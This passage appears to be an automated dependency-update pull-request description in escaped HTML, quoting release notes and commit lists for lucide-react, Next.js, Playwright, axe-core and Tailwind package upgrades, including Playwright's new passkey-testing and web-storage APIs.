href=\"https://github.com/supabase/supabase-js/commit/4164458d0fde60b6deed945c011f8c62a26e11f9\"\u003e\u003ccode\u003e4164458\u003c/code\u003e\u003c/a\u003e chore(release): version 2.110.2 changelogs (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2506\"\u003e#2506\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/supabase/supabase-js/commits/v2.110.7/packages/core/supabase-js\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `lucide-react` from 1.17.0 to 1.25.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lucide-icons/lucide/releases\"\u003elucide-react's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 1.25.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(icons): Rename to \u003ccode\u003ecircle-euro\u003c/code\u003e to match other euro icons by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4531\"\u003elucide-icons/lucide#4531\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump astro from 6.1.10 to 6.4.6 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4487\"\u003elucide-icons/lucide#4487\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(site): empty search results on first load for tag-only matches by \u003ca href=\"https://github.com/taimar\"\u003e\u003ccode\u003e@​taimar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4413\"\u003elucide-icons/lucide#4413\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​babel/core\u003c/code\u003e from 7.28.5 to 7.29.6 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4476\"\u003elucide-icons/lucide#4476\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): broken link in brand logo comment by \u003ca href=\"https://github.com/jguddas\"\u003e\u003ccode\u003e@​jguddas\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4533\"\u003elucide-icons/lucide#4533\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(depedencies): Update dependencies by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4553\"\u003elucide-icons/lucide#4553\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(docs): add studio link by \u003ca href=\"https://github.com/jguddas\"\u003e\u003ccode\u003e@​jguddas\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4534\"\u003elucide-icons/lucide#4534\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003ehdmi-port\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4554\"\u003elucide-icons/lucide#4554\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003eethernet-port\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4555\"\u003elucide-icons/lucide#4555\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003efile-box\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4552\"\u003elucide-icons/lucide#4552\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003escan-box\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4551\"\u003elucide-icons/lucide#4551\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/lucide-icons/lucide/compare/1.24.0...1.25.0\"\u003ehttps://github.com/lucide-icons/lucide/compare/1.24.0...1.25.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eVersion 1.24.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(scripts): fix typo in renameIcon.function.mts by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4514\"\u003elucide-icons/lucide#4514\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(icons): remove \u003ccode\u003etoBeRemovedInVersion\u003c/code\u003e metadata and make it optional in schema by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/Copilot\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4513\"\u003elucide-icons/lucide#4513\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(site): Add merch link by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4524\"\u003elucide-icons/lucide#4524\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(packages/angular): move child rendering logic to template from effect by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4519\"\u003elucide-icons/lucide#4519\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(site): list \u003ccode\u003e@​gyeonghokim/lucide-lit\u003c/code\u003e as third-party package by \u003ca href=\"https://github.com/GyeongHoKim\"\u003e\u003ccode\u003e@​GyeongHoKim\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4421\"\u003elucide-icons/lucide#4421\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003eoption\u003c/code\u003e icon by \u003ca href=\"https://github.com/jamiemlaw\"\u003e\u003ccode\u003e@​jamiemlaw\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4326\"\u003elucide-icons/lucide#4326\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(lucide-react-native): restore the icons entry point in the JS bundles by \u003ca href=\"https://github.com/pvinis\"\u003e\u003ccode\u003e@​pvinis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4528\"\u003elucide-icons/lucide#4528\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(vue): support kebab-case icon-node prop on Icon component by \u003ca href=\"https://github.com/Sagargupta16\"\u003e\u003ccode\u003e@​Sagargupta16\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4512\"\u003elucide-icons/lucide#4512\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(lucide-react-native): Add icon exports property to the package.json file by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4522\"\u003elucide-icons/lucide#4522\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): centered the \u003ccode\u003edot\u003c/code\u003e icon by \u003ca href=\"https://github.com/cnlancehu\"\u003e\u003ccode\u003e@​cnlancehu\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4492\"\u003elucide-icons/lucide#4492\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003ecircle-euro-sign\u003c/code\u003e icon by \u003ca href=\"https://github.com/Guido3000\"\u003e\u003ccode\u003e@​Guido3000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4353\"\u003elucide-icons/lucide#4353\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003eserver-plus\u003c/code\u003e icon by \u003ca href=\"https://github.com/Turboman3000\"\u003e\u003ccode\u003e@​Turboman3000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4232\"\u003elucide-icons/lucide#4232\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/Copilot\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4513\"\u003elucide-icons/lucide#4513\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/GyeongHoKim\"\u003e\u003ccode\u003e@​GyeongHoKim\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4421\"\u003elucide-icons/lucide#4421\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pvinis\"\u003e\u003ccode\u003e@​pvinis\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4528\"\u003elucide-icons/lucide#4528\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Sagargupta16\"\u003e\u003ccode\u003e@​Sagargupta16\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4512\"\u003elucide-icons/lucide#4512\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Guido3000\"\u003e\u003ccode\u003e@​Guido3000\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4353\"\u003elucide-icons/lucide#4353\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Turboman3000\"\u003e\u003ccode\u003e@​Turboman3000\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4232\"\u003elucide-icons/lucide#4232\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/lucide-icons/lucide/compare/1.23.0...1.24.0\"\u003ehttps://github.com/lucide-icons/lucide/compare/1.23.0...1.24.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eVersion 1.23.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(docs): prevent scrollbar layout shift on icons page by \u003ca href=\"https://github.com/g30r93g\"\u003e\u003ccode\u003e@​g30r93g\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4500\"\u003elucide-icons/lucide#4500\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(docs): Remove certificates banner by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4504\"\u003elucide-icons/lucide#4504\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(repo-journal.yml): GH copilot repo summary by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4505\"\u003elucide-icons/lucide#4505\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(repo-journal.yml): Small fix in the workflow by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4508\"\u003elucide-icons/lucide#4508\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(repo-journal.yml): Switch to token by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4509\"\u003elucide-icons/lucide#4509\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003epaper-bag\u003c/code\u003e icon by \u003ca href=\"https://github.com/dkast\"\u003e\u003ccode\u003e@​dkast\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4023\"\u003elucide-icons/lucide#4023\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/f229f83f0c42f46befeac3cfd8ef7aaa82a71325\"\u003e\u003ccode\u003ef229f83\u003c/code\u003e\u003c/a\u003e chore(depedencies): Update dependencies (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4553\"\u003e#4553\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/5ff536e1391335e4f7dc38d244c1bc458b9443e2\"\u003e\u003ccode\u003e5ff536e\u003c/code\u003e\u003c/a\u003e ci(release.yml): Fix workflow and remove \u003ccode\u003eversion\u003c/code\u003e scripts in package scripts...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/lucide-icons/lucide/commits/1.25.0/packages/lucide-react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `next` from 16.2.9 to 16.2.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/next.js/releases\"\u003enext's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev16.2.10\u003c/h2\u003e\n\u003cp\u003eContains no changes except publishing \u003ccode\u003e@next/swc-wasm-web\u003c/code\u003e which was accidentally not published since 16.2.4.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/9dadfd693c5d26bb3c85d1c17802f49dde244b3e\"\u003e\u003ccode\u003e9dadfd6\u003c/code\u003e\u003c/a\u003e v16.2.10\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/534d9c144ca342ff9ee5569241a814539d6eadb9\"\u003e\u003ccode\u003e534d9c1\u003c/code\u003e\u003c/a\u003e [16.2.x] Release pipeline updates (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/95160\"\u003e#95160\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/98941fc427213b0b2770ac40e24a1855ea0ae349\"\u003e\u003ccode\u003e98941fc\u003c/code\u003e\u003c/a\u003e backport: docs fixes 16.2.x (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/94935\"\u003e#94935\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/6e1a94de7c4e68892de4b1e28262be5970358458\"\u003e\u003ccode\u003e6e1a94d\u003c/code\u003e\u003c/a\u003e [16.2.x][ci]: fix release script to not strip newlines (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/94640\"\u003e#94640\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vercel/next.js/compare/v16.2.9...v16.2.10\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@axe-core/playwright` from 4.11.3 to 4.12.1\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/dequelabs/axe-core-npm/blob/develop/CHANGELOG.md\"\u003e@​axe-core/playwright's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-npm/compare/v4.11.3...v4.12.1\"\u003e4.12.1\u003c/a\u003e (2026-06-22)\u003c/h1\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate axe-core to v4.12.1 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-npm/issues/1378\"\u003e#1378\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-npm/commit/4263054240dc10bbfac0005ae2904f48651891d3\"\u003e4263054\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/dequelabs/axe-core-npm/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@playwright/test` from 1.60.0 to 1.61.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/microsoft/playwright/releases\"\u003e@​playwright/test's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.61.1\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41365\"\u003e#41365\u003c/a\u003e [Bug]: Expect.Extend matcher with same name as default matcher in same expect instance overrides default matchers implementation to custom matcher\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41351\"\u003e#41351\u003c/a\u003e [Bug]: Playwright UI mode: apiRequestContext._wrapApiCall reports unexpected number of bytes (same test passes in headed mode)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41360\"\u003e#41360\u003c/a\u003e [Bug]: Trace viewer: message times in websockets are downscaled by 1000\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41311\"\u003e#41311\u003c/a\u003e [Bug]: [Regression]: Sync loader throws \u0026quot;context.conditions?.includes is not a function\u0026quot; on Node 22.15\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41371\"\u003e#41371\u003c/a\u003e [Regression]: Sync ESM loader (registerHooks) fails to resolve extensionless .ts subpath imports across pnpm workspace symlinks\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev1.61.0\u003c/h2\u003e\n\u003ch2\u003e🔑 WebAuthn passkeys\u003c/h2\u003e\n\u003cp\u003eNew \u003ca href=\"https://playwright.dev/docs/api/class-credentials\"\u003eCredentials\u003c/a\u003e virtual authenticator, available via \u003ca href=\"https://playwright.dev/docs/api/class-browsercontext#browser-context-credentials\"\u003ebrowserContext.credentials\u003c/a\u003e, lets tests register passkeys and answer \u003ccode\u003enavigator.credentials.create()\u003c/code\u003e / \u003ccode\u003enavigator.credentials.get()\u003c/code\u003e ceremonies in the page — no real hardware key required, works in all browsers:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003econst context = await browser.newContext();\r\n\u003cp\u003e// Seed a passkey your backend provisioned for a test user.\nawait context.credentials.create('example.com', {\nid: credentialId,\nuserHandle,\nprivateKey,\npublicKey,\n});\nawait context.credentials.install();\u003c/p\u003e\n\u003cp\u003econst page = await context.newPage();\nawait page.goto('\u003ca href=\"https://example.com/login\"\u003ehttps://example.com/login\u003c/a\u003e');\n// The page's navigator.credentials.get() is answered with the seeded passkey.\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003cp\u003eYou can also let the app register a passkey once in a setup test, read it back with \u003ca href=\"https://playwright.dev/docs/api/class-credentials#credentials-get\"\u003ecredentials.get()\u003c/a\u003e, and seed it into later tests — see \u003ca href=\"https://playwright.dev/docs/api/class-credentials\"\u003eCredentials\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003e🗃️ Web Storage\u003c/h2\u003e\n\u003cp\u003eNew \u003ca href=\"https://playwright.dev/docs/api/class-webstorage\"\u003eWebStorage\u003c/a\u003e API, available via \u003ca href=\"https://playwright.dev/docs/api/class-page#page-local-storage\"\u003epage.localStorage\u003c/a\u003e and \u003ca href=\"https://playwright.dev/docs/api/class-page#page-session-storage\"\u003epage.sessionStorage\u003c/a\u003e, reads and writes the page's storage for the current origin:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003eawait page.localStorage.setItem('token', 'abc');\r\nconst token = await page.localStorage.getItem('token');\r\nconst items = await page.sessionStorage.items();\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003eNew APIs\u003c/h2\u003e\n\u003ch3\u003eNetwork\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://playwright.dev/docs/api/class-apiresponse#api-response-security-details\"\u003eapiResponse.securityDetails()\u003c/a\u003e and \u003ca href=\"https://playwright.dev/docs/api/class-apiresponse#api-response-server-addr\"\u003eapiResponse.serverAddr()\u003c/a\u003e mirror the browser-side \u003ca href=\"https://playwright.dev/docs/api/class-response#response-security-details\"\u003eresponse.securityDetails()\u003c/a\u003e and \u003ca href=\"https://playwright.dev/docs/api/class-response#response-server-addr\"\u003eresponse.serverAddr()\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBrowser and Screencast\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/39e3553a4f283a41134d75d7e404484bd9e6865a\"\u003e\u003ccode\u003e39e3553\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41399\"\u003e#41399\u003c/a\u003e): fix(test): load require-reached files as commonjs in syn...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/4328122a0fa91df1be287f12d26f272f598ccca7\"\u003e\u003ccode\u003e4328122\u003c/code\u003e\u003c/a\u003e chore: mark v1.61.1 (\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41404\"\u003e#41404\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/2c29a94ed59a2dbb2cb2553ee7d1ba429f027826\"\u003e\u003ccode\u003e2c29a94\u003c/code\u003e\u003c/a\u003e fix(tracing): stop recording websocket frames outside of chunks (\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41398\"\u003e#41398\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/4324b1904199c58ae56d864390f5210df18e33f6\"\u003e\u003ccode\u003e4324b19\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41367\"\u003e#41367\u003c/a\u003e): fix(test): keep builtin expect matchers on base extend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/041e7e30002e7c384e1918c29720b34c435145f4\"\u003e\u003ccode\u003e041e7e3\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41364\"\u003e#41364\u003c/a\u003e): fix(har): \u003ccode\u003eWebSocket\u003c/code\u003e message timestamps should be in mi...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/b8a0fc33932399fc5cfcd211165cf16f8ca01d71\"\u003e\u003ccode\u003eb8a0fc3\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41309\"\u003e#41309\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43149\"\u003e#43149\u003c/a\u003e): Revert \u0026quot;fix(firefox): treat `navigationCommitted...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/b5a31759e6611397bf3afaaa6049a420a5f082bd\"\u003e\u003ccode\u003eb5a3175\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41319\"\u003e#41319\u003c/a\u003e): fix(loader): support other node versions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/d4724a91b280ae1ee9a87c426e9d6a953c59756e\"\u003e\u003ccode\u003ed4724a9\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41290\"\u003e#41290\u003c/a\u003e): feat(docker): add Ubuntu 26.04 (Resolute Raccoon) image\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/1cc5a90cfa3eaa430b1a991963100f95126caa47\"\u003e\u003ccode\u003e1cc5a90\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41295\"\u003e#41295\u003c/a\u003e): chore: PLAYWRIGHT_TRACING_NO_WEBSOCKET_FRAMES and PLAYWR...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/a6772bdede34028cbbd417a3b3d778801899e870\"\u003e\u003ccode\u003ea6772bd\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41280\"\u003e#41280\u003c/a\u003e): Revert \u0026quot;fix(trace-viewer): add keyboard navigation to `N...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/microsoft/playwright/compare/v1.60.0...v1.61.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tailwindcss/postcss` from 4.3.0 to 4.3.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/tailwindlabs/tailwindcss/releases\"\u003e@​tailwindcss/postcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.3.3\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport \u003ccode\u003e--watch --poll[=ms]\u003c/code\u003e in \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e when filesystem events are unreliable or unavailable (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20297\"\u003e#20297\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: match arbitrary hex colors against theme colors case-insensitively (e.g. \u003ccode\u003ebg-[#fff]\u003c/code\u003e and \u003ccode\u003ebg-[#FFF]\u003c/code\u003e → 